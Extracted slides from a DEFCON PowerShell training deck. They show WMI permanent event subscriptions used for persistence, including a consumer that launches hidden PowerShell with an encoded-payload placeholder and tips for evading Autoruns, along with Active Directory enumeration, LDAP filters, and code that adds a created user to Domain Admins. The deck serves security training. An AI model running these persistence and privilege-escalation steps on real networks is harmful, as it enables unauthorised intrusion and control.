Fundamentals of Leveraging PowerShell - DEFCON


231
WMI Permanent Events
Consumer Description

ActiveScriptEventConsumer Executes a predefined script in an arbitrary scripting language


(VBS) when an event is delivered to it. This consumer is available
on Windows 2000 and above.

CommandLineEventConsumer Launches an arbitrary process in the local system context when


an event is delivered to it. This consumer is available on
Windows XP and above.

LogFileEventConsumer Writes customized strings to a text log file when events are
delivered to it. This consumer is available on Windows XP and
above.

NTEventLogEventConsumer Logs a specific message to the Windows NT event log when an


event is delivered to it. This consumer is available on Windows
XP and above.

SMTPEventConsumer Sends an email message using SMTP every time that an event is
delivered to it. This consumer is available on Windows 2000 and
above.

Fundamentals of Leveraging PowerShell - DEFCON


232
ActiveScriptEventConsumer
• When creating the instance of the class we must specify:
– ScriptingEngine - Either VBScript or JScript.
– ScriptFileName - Full path to script to run if ScriptText not
provided.
– ScriptText - Script text to be ran by the engine if ScriptFileName
not used.
• You can specify a time in seconds for the script and be killed
after it by specifying it in the KillTimeout property. This is
Optional.
• More info at https://msdn.microsoft.com/en-
us/library/aa384749(v=vs.85).aspx
Fundamentals of Leveraging PowerShell - DEFCON
233
CommandLineEventConsumer
• When creating the instance of the class we must specify:
– Name - Name for the consumer.
– ExecutablePath - Full path to the executable to be ran.
– CommandLineTemplate - Full path to executable and arguments
if any are required.
• You can specify a time in seconds for the command to be
killed by specifying it in the KillTimeout property. This is
Optional.
• More info at https://msdn.microsoft.com/en-
us/library/aa389231(v=vs.85).aspx

Fundamentals of Leveraging PowerShell - DEFCON


234
WMI Permanent Event Filter
• Creating the Filter
# Create a filter to detect when a browser is launched.
# Good indicator that the target may have a connection.
$FilterName = 'DetectProc'
$FilterQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA 'Win32_Process'
AND (TargetInstance.Name LIKE 'iexplorer%')"
$NS = "root\subscription"
$FilterArgs = @{
Name=$FilterName
EventNameSpace="root\cimv2"
QueryLanguage="WQL"
Query = $FilterQuery
}
$Filter = Set-WmiInstance -Class __EventFilter -NameSpace $NS -Arguments $FilterArgs

Fundamentals of Leveraging PowerShell - DEFCON


235
WMI Permanent Event Consumer
• Creating the consumer

$consumerName = 'LaunchShell'
$CArgs = @{
Name=$consumerName
ExecutablePath = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
CommandLineTemplate ="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP
-NonI -W Hidden -Enc <encoded payload>“

# Creating Consumer
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace $NS -Arguments
$CArgs

Fundamentals of Leveraging PowerShell - DEFCON


236
WMI Permanent Event Binder
• Bind together the filter and the consumer

$Args = @{
Class = '__FilterToConsumerBinding'
NameSpace = 'root\subscription'
Arguments = @{Filter=$Filter;Consumer=$Consumer}
}

Set-WmiInstance @Args

Fundamentals of Leveraging PowerShell - DEFCON


237
WMI Permanent Events
• We can list all consumers by queuing all instances of the
consumer Class in root\subscription
• We can list all filters by querying for all instances of
__EventFilter in root\subscription
• We can list all bindings by querying for all instances of
__FilterToConsumerBinding in root\subscription
• Each component of the permanent event needs to be
removed individually using Remove-WmiObject
• You can also create the components in root and it will not
be detected by Sysinternals Autoruns and still run.

Fundamentals of Leveraging PowerShell - DEFCON


238
WMI Permanent Events
• When a Permanent Event Subscriptions is created a EventID
5861 in Microsoft-Windows-WMI-Activity/Operational is
created in Windows 2012 R2, Windows 2016 and Windows
10 Pro/Enterprise.
• The event includes in its data the Query and Consumer
object information for the subscription.
Permanent Event Subscription
Summary for Red
• WMI is perfect for target enumeration.
• Ensure ports are open and remember both DCOM and
WinRM are options.
• When using WMI for lateral movement make sure you are
running under a user account.
• Win32_Process allows you to run commands on remote
boxes.
• Remember actions are logged in Windows 2012 R2 and
Windows 10 Pro/Ent
Summary for Red
• For persistence and saving to CIM DB use staged payload for
size.
• For larger payloads save them in registry in chunks or better
yet download and execute.
• ActionScriptConsumer does not use wshscript.exe or
cscript.exe so Windows Scripting Host disable registry keys
does not affect it.
• VBScript is painful but flexible.
Active Directory

Fundamentals of Leveraging PowerShell - DEFCON


243
Red Execution
• Once in a system before doing ping sweeps, ARP scans or
any other action leverage AD to get situational awareness.
– Enumerate forest Info
– Enumerate domain list in the forest
– Enumerate Organization Units per domain
– Enumerate GPOs linked to OUs
– Enumerate Privileged Groups
– Enumerate users in Privileged Groups and their details and
restrictions
– Enumerate Hosts
– Enumerate SPNs
PowerShell and AD
• PowerShell has 3 way to work with AD: ActiveDirectory Module,
AD command line tools and .NET System.DirectoryServices
classes
• RSAT (Remote System Administration Tools) include command
line tools and also include the PowerShell ActiveDirectory
module.
• The ActiveDirectory PowerShell module that was initially added in
Windows 2008 has expanded through time, if you want to use it
make sure to use the latest RSAT tools
• Windows 2008 R2 - 76 cmdlets
• Windows 2012 - 135 cmdlets
• Windows 2012 R2 - 147 cmdlets

Fundamentals of Leveraging PowerShell - DEFCON


245
Active Directory Paths
• A Distinguished Named in AD refers to the X.500 naming full
path.
• A Distinguished Name in AD follows a syntax of comma
separated key=value pairs. Most common Keywords are:
• CN: Common Name
• OU: Organizational Unit
• DC: Domain Component

Fundamentals of Leveraging PowerShell - DEFCON


246
Active Directory
• Domain Component refers to the domain name for our path
• Example
• contoso.local - LDAP://dc=contoso,dc=local
• west.contoso.local - LDAP://dc=west,dc=contoso,dc=local
• Common Name can be used both for container type objects and to
reference objects directly.
• Organizational Unit is a container object for users and computer that allows
the linking of Group Policy to it.

Fundamentals of Leveraging PowerShell - DEFCON


247
Active Directory
• There are several ways we can connect Active Directory using
.NET and all require we specify a path for it to connect to.
• The .NET class System.DirectoryServices.DirectoryEntries is
used to connect to AD.
• .NET also has an high-level abstraction class for AD named
System.DirectoryServices.ActiveDirectory, it is less flexible
due to the high level of abstraction, but it has it uses.
• The System.DirectoryServices.DirectoryEntries can be used in 2
ways either though the New-Object cmdlet or using the [ADSI]
Type Accelerator in PowerShell.

Fundamentals of Leveraging PowerShell - DEFCON


248
Active Directory
• the Microsoft LDAP provider uses ADsPath format
[LDAP|LDAPS]://HostName[:PortNumber][/DistinguishedName]
• It s components are:
• Resource - if connecting via LDAP LDAP:// and if connecting to a Global
Catalog GC://. Resources are case sensitive.
• HostName - can be a computer name, an IP address, or a domain name.
If none is provided it will bind to the local host.
• PortNumber - specifies the port to be used for the connection. On
connections to other hosts it will default to 389 and when SSL is
specified it will use 636.
• DistinguishedName = specifies the distinguished name of a specific
object. If none is given it will bind to the localhost object in AD.

Fundamentals of Leveraging PowerShell - DEFCON


249
Connecting to AD
LDAP ADsPath Description

LDAP: Binds to root LDAP namespace

LDAP://server01 Binds to specific server

Binds to specific server and


LDAP://server01:390 port

LDAP://CN=Jeff Smith,CN=users,DC=fabrikam,DC=com Binds to specific object

Binds to specific object via a


LDAP://server01/CN=Jeff Smith,CN=users,DC=fabrikam,DC=com
specific server

Fundamentals of Leveraging PowerShell - DEFCON


250
Active Directory
• Active Directory Database is structured in in to Partitions also
known as Naming Context. The 3 main ones are:
– Schema Partition - Where the definition of objects and their attributes
are stored. LDAP Path cn=Schema,cn=Configuration,dc=<root domain
of the forest>,dc=<toplevel domain of the root>
– Configuration Partition - Contains information about the structure of
the Active Directory Forest (sites, site links, Exchange..etc) LDAP Path
cn=Schema,cn=Configuration,dc=<root domain of the
forest>,dc=<toplevel domain of the root>
– Domain (Default Naming Context) - Contains all objects in the domain
( Users, Groups, Computers..etc) and their attributes. LDAP Path
dc=<root domain of the forest>,dc=<toplevel domain of the root>

Fundamentals of Leveraging PowerShell - DEFCON


251
Active Directory
• When we connect via ADSIEdit on a DC we can choose the
Partition/Naming Context to connect to.

Fundamentals of Leveraging PowerShell - DEFCON


252
DirectoryEntries Class and ADSI
Accelerator

Fundamentals of Leveraging PowerShell - DEFCON


253
Active Directory Services Interface
• The New-Object method allows the passing of arguments
when creating the object allowing to not only specify server
and path but alternate credentials and/or authentication type.
$Args = @(
"LDAP://dc=contoso,dc=local",
$Credential.UserName,
$Credential.GetNetworkCredential().Password)

$objDomain = New-Object DirectoryServices.DirectoryEntry $Args


• If no credentials are given ADSI binds to the object using the
security context of the calling thread.
• For Kerberos environment the server specified has to be in
FQDN format

Fundamentals of Leveraging PowerShell - DEFCON


254
ADSI Active Directory Services
Interface
• Starting with Windows PowerShell 2.0 there is a Type
Accelerator for generating the object called [ADSI].
• The [ADSI] Type Accelerator only accepts a ADsPath string
and does not allow for alternate credentials or
authentication type.
[ADSI]'LDAP://dc=acmelabs,dc=local'
• One of the biggest advantages are that we can see a lot of
information about the domain and how it is setup just by
this object as a regular domain user (User Account,
Computer Account)

Fundamentals of Leveraging PowerShell - DEFCON


255
Active Directory Services Interface
• The major advantage is that as a regular domain user we
have access to read many of the AD objects attributes
allowing for fast collection of information.
• Once bind to the root of the domain we are running from
we can see info like password policy

Fundamentals of Leveraging PowerShell - DEFCON


256
Active Directory Services Interface
• We can bind to other objects and get information on them
like Group Policies.
$ADSIobj = [ADSI]''
$ADSIobj.gPLink

Fundamentals of Leveraging PowerShell - DEFCON


257
Active Directory Services Interface
• When working with DirectoryEntry objects methods are
hidden when inspected with Get-Member.
• Hidden methods is a design decision since it returns COM
objects vs .NET Objects
• The ADSI COM Object is exposed through the PSBase
property allowing for access to the methods.
• To have a look at the objects by type and their method
MSDN is the best source of information
http://msdn.microsoft.com/en-
us/library/aa746419(v=vs.85).aspx

Fundamentals of Leveraging PowerShell - DEFCON


258
Active Directory Services Interface
• Some of the most common methods available on the object
are:
• Create(ObJectClass, LDAPName)
• Get(PropertyName)
• Put(PropertyName, Value)
• Delete(ObJectClass, LDAPName)
• SetInfo()
• Specific object type methods we invoke them using the
psbase.Invoke(MethodName, Arguments)

Fundamentals of Leveraging PowerShell - DEFCON


259
Active Directory Services Interface
• Common Object Classes:
• User
• Container
• OrganizationalUnit
• Group

Fundamentals of Leveraging PowerShell - DEFCON


260
Active Directory Services Interface
• Creating a user:
$objADSI = [ADSI]'LDAP://OU=Sales,DC=acmelabs,DC=com'
$objUser = $objADSI.Create('User', “CN=John Doe”)
$objUser.Put(“sAMAccountName”, “jdoe”)
$objUser.setInfo()
$objUser.psbase.invoke("SetPassword",'My$ecretP@$$w0rd')
$objUser.psbase.invokeset("AccountDisabled", "False")
$objUser.setInfo()

• Add the user to the Domain Admins Group:


$groupDN = 'LDAP://CN=Domain Admins,CN=Users,DC=acmelabs,DC=com'
$userDN = 'LDAP://CN=John Doe,OU=Sales,DC=acmelabs,DC=com'
$objGroup = [ADSI]$GroupDN
$objGroup.add($userDN)
$objGroup.SetInfo()

Fundamentals of Leveraging PowerShell - DEFCON


261
Active Directory Services Interface
• Delete a user:
$objADSI = [ADSI]'LDAP://OU=Sales,DC=acmelabs,DC=com'
$objUser = $objADSI.Delete('User', “CN=John Doe”)

• Enumerate all members of the Domain Admins Group:


$objADSI = [ADSI]'LDAP://CN=Domain Admins,CN=Users,DC=acmelabs,DC=com'
$objADSI.Member | ForEach-Object {[ADSI]"LDAP://$_"}
• Enumerate group a user is a member of:
$objUser = [ADSI]'LDAP://CN=John Doe,OU=Sales,DC=acmelabs,DC=com'
$objGroups = $objUser.MemberOf | ForEach-Object {[ADSI]"LDAP://$_"}
• AD will keep references of deleted objects for 180 days by
default.

Fundamentals of Leveraging PowerShell - DEFCON


262
ActiveDirectory Classes

Fundamentals of Leveraging PowerShell - DEFCON


263
Active Directory Services Interface
• .NET Classes in System.DirectoryServices.ActiveDirectory
are targeted for Active Directory management tasks for
forest, domain, site, subnet, partition, and schema.
• It allows the use of alternate credentials by creating a
context, giving ContextType, server, Target, Username and
Password:
$cArgs = @(
‘DirectoryServer',
‘192.168.11.11',
‘administrator',
‘MyP@ssw0rd’)

$typeName = 'DirectoryServices.ActiveDirectory.DirectoryContext'
$context = New-Object $typeName $cArgs

Fundamentals of Leveraging PowerShell - DEFCON


264
Active Directory Services Interface
• Context Types

Targer Type Directory Context Format

The DNS name of the domain


Domain Controller DirectoryServer
controller.

Domain Domain The DNS name of the domain

Forest Forest The DNS name of the forest

The DNS name of the application


Application Partition ApplicationPartition
partition.

Fundamentals of Leveraging PowerShell - DEFCON


265
Active Directory Services Interface
• .NET Classes in System.DirectoryServices.ActiveDirectory
are heavily dependent on DNS on the machine executing the
query vs DirectoryEntry where all actions happen remotely
• The 2 classes of most value for Pentester or Incident
Response are the Forest and Domain classes since they
allow for access to:
• Domains and Trusts
• Sites and Subnets
• FSMO Roles
• GCs and DCs

Fundamentals of Leveraging PowerShell - DEFCON


266
Active Directory Services Interface
• To get forest information using the ActiveDirectory class there
are 2 ways to instantiate the forest object
# Using context with alternate credentials
$dsForest = [DirectoryServices.ActiveDirectory.Forest]::GetForest($context)

# Using current process token


$dsForest = [DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
• For information on each site in the forest and their respective
information like links, subnets, adjacent sites and servers in the
site the Sites property is used
$dsForest.Sites

• For information on Domains and their components like Domain


Controllers, Domain Mode and FSMO Roles the Domains
Property is used
$dsForest.Domains
Fundamentals of Leveraging PowerShell - DEFCON
267
Active Directory Services Interface
• To get domain information using the ActiveDirectory class
there are 2 ways to instantiate the domain object
# Using context with alternate credentials
$dsDom = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($context)

# Using context with alternate credentials


$dsDom = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

• For information on all domain controllers the


FindAllDomainControllers() method is used
$dsDom.FindAllDomainControllers()

• For information on all trust relationships the


GetAllTrustRelationships() method is used.
$dsDom.GetAllTrustRelationships()

Fundamentals of Leveraging PowerShell - DEFCON


268
PowerView
• Get the forest - Get-NetForest
• Get Domains - Get-NetDomain (Current) and Get-
NetForestDomain (all)
• Get domain controllers for current domain – Get-
NetDomainController
• Get all trust relationships - Get-NetForestTrust
LDAP Filter

Fundamentals of Leveraging PowerShell - DEFCON


270
LDAP Filters
• The LDAP query string used for searching follows the RFC
4515
• LDAP filters consist of one or more criteria, each in
parentheses and the whole term has to be bracketed one
more time.
– Example (objectCategory=person)
• One or more criteria which can be linked together by using
AND (&) or OR (|) operators in polish notation
– Example (&(objectCategory=person)(objectClass=user))

Fundamentals of Leveraging PowerShell - DEFCON


271
LDAP Filters
• Search criteria for attributes can be any of the following:

Operation Format Example


Equality (attribute=abc) (objectclass=user)
Negation (!(attribute=abc)) (!(objectclass=user))
Presence (attribute=*) (&(objectclass=user)(comment=*))
Absence (!(attribute=*)) (&(objectclass=user)(!(comment=*)))
Greater than (attribute>=abc) (mdbStorageQuota>=100000)
Less than (attribute<=abc) (mdbStorageQuota<=100000)
Wildcards (attribute=*) (&(objectclass=user)(comment=*pass*))

Fundamentals of Leveraging PowerShell - DEFCON


272
LDAP Filters Base Rules
• Only standard LDAP attributes can be used for filters and not Object
Properties.
• Do not use quotation marks for strings Example
(displayName=Carlos Perez)
• Boolean operation the TRUE and FALSE keywords are case sensitive.
String operations are case-insensitive.
• Wildcards can not be used in LDAP filters for attributes containing
LDAP distinguished names unless they are of type DN-string like in
the case of memberOf for a user.

Fundamentals of Leveraging PowerShell - DEFCON


273
LDAP Filters Base Rules
• LDAP filters can be specified using unicode characters
• The characters ( ) & | = ! > < ~ * / \ play a special role for the
declaration of LDAP filters and must be prefixed backslash and the
corresponding hexadecimal ASCII code in string attribute
operations.
• In multivalued attributes like objectClass we can match for any of its
components, example (objectClass=user). The search of multivalued
attributes is more resource intensive.
• Hexvalues are filtered using their corresponding decimal value
Example (groupType=2147483652)

Fundamentals of Leveraging PowerShell - DEFCON


274
LDAP Filters Base Rules
• To find objects for which a specific bit that is or is not set within a
bit field the bit the bit-wise AND (1.2.840.113556.1.4.803)
comparisons and one for bit-wise OR (1.2.840.113556.1.4.804
)comparisons are used. Example find all Security Enabled groups
ADS_GROUP_TYPE_SECURITY_ENABLED = 0x80000000 we would
use a filter of (groupType:1.2.840.113556.1.4.803:=8)

Fundamentals of Leveraging PowerShell - DEFCON


275
Example Filters
• All Security Groups
– (groupType:1.2.840.113556.1.4.803:=2147483648)
• All users
– (&(objectCategory=person)(objectClass=user))
• All groups
– (objectClass=group)
• All users (more effective):
– (sAMAccountType=805306368)
• All users with the account configuration 'Password never expires':
– (&(objectCategory=person)(objectClass=user)(userAccountControl:1.
2.840.113556.1.4.803:=65536)
• All domain controllers:
– (&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.80
3:=8192))

Fundamentals of Leveraging PowerShell - DEFCON


276
Example Filters
• All GPOs
– '(objectClass=groupPolicyContainer)
• All OUs
– (objectCategory=organizationalUnit)
• All Trusts
– (objectClass=trustedDomain)

Fundamentals of Leveraging PowerShell - DEFCON


277
Searching AD

Fundamentals of Leveraging PowerShell - DEFCON


278
Searching AD
• In .NET we use System.DirectoryServices.DirectorySearcher
class to create a DirectorySearcher object to search and
perform queries against an Active Directory Domain Services
hierarchy using Lightweight Directory Access Protocol
(LDAP).
• In PowerShell v2 Microsoft added a type accelerator for
DirectorySearcher called [adsisearcher] to make searching
for domain joined machines easier.
• The LDAP query string used for searching follows the RFC
4515

Fundamentals of Leveraging PowerShell - DEFCON


279
Searching AD
• The 2 commonly used ways to create a DirectorySearcher
object in PowerShell both using type accelerators
• Using Alternate credentials or connecting from a host not in
the domain.
$Args = @(
"LDAP://dc=contoso,dc=local",
$Credential.UserName,
$Credential.GetNetworkCredential().Password)
$objDomain = New-Object DirectoryServices.DirectoryEntry $Args
$searcher = [adsisearcher]$objDomain
• Providing a LDAP Filter
$searcher = [adsisearcher]"objectcategory=computer"

Fundamentals of Leveraging PowerShell - DEFCON


280
Searching AD
• Properties to control the DirectorySearcher object:
• ServerTimeLimit - Specify the length of time to search.
• SizeLimit - Specifies the total amount of records to request. By
default a maximum of 1000 are returned unless PageSize is set.
• PageSize - Specifies the maximum number of objects that are
returned in a paged search. It is recommended to always set it to
1000 so it pages in the background result.
• SearchRoot - Specifies the Domain from where to run, it can be set
to a domain and it will detect and query the first GC for it or bind it
to a specific GC using LDAP or GC provider path.
• SearchScope - Specifies the possible scopes for a directory search.
Scopes are Base, OneLevel or Subtree (default).
Fundamentals of Leveraging PowerShell - DEFCON
281
Searching AD
• Methods to perform a search:
– FindOne() - Executes the search and returns only the first entry
that is found.
– FindAll() - Executes the search and returns a collection of the
entries that are found.

Fundamentals of Leveraging PowerShell - DEFCON


282
Searching AD
• A Service Principal Name is the
name by which a client uniquely
identifies an instance of a service
for use in Kerberos Authentication.
• All Microsoft services that support
Kerberos authentication register
themselves under the host
account.
• The format for a SPN entry is
<service
class>/<host>:<port>/<service
name> where port and service
name are optional

Fundamentals of Leveraging PowerShell - DEFCON


283
Searching AD
– Some known SPN Classes:
– TERMSRV - Remote Desktop
– SmtpSVC and SMTP - Mail.
– WSMAN - WinRM
– ExchangeAB, ExchageRFR and ExchangeMDM - MS Exchange services
– POP/POP3 - POP3 mail service.
– IMAP/IMAP4 - IMAP service.
– MSSQLSvc - Microsoft SQL Server
– GC - Global Catalog
– DNS - DNS Server
– HTTP - Web Server
– ldap - LDAP Server
– Dfrs - File Server participating in DFRS

Fundamentals of Leveraging PowerShell - DEFCON


284
Searching AD
• Example of searching for MSSQL Servers:
$filter = '(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))'
$searcher = [adsisearcher]$filter
$searcher.PageSize = 1000
$searcher.FindAll()

Fundamentals of Leveraging PowerShell - DEFCON


285
Thanks To
• Alexandar Nikolic @alexandair
• Capt. Lorenzo J. Ireland USMC @2bitsend0xdea
• GySgt Michael Hicks USMC
• Daniel Bohannon @danielhbohannon
• Lee Holmes @LeeHolmes

Fundamentals of Leveraging PowerShell - DEFCON


Thanks!
@carlos_perez
https://www.darkoperator.com

Fundamentals of Leveraging PowerShell - DEFCON

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy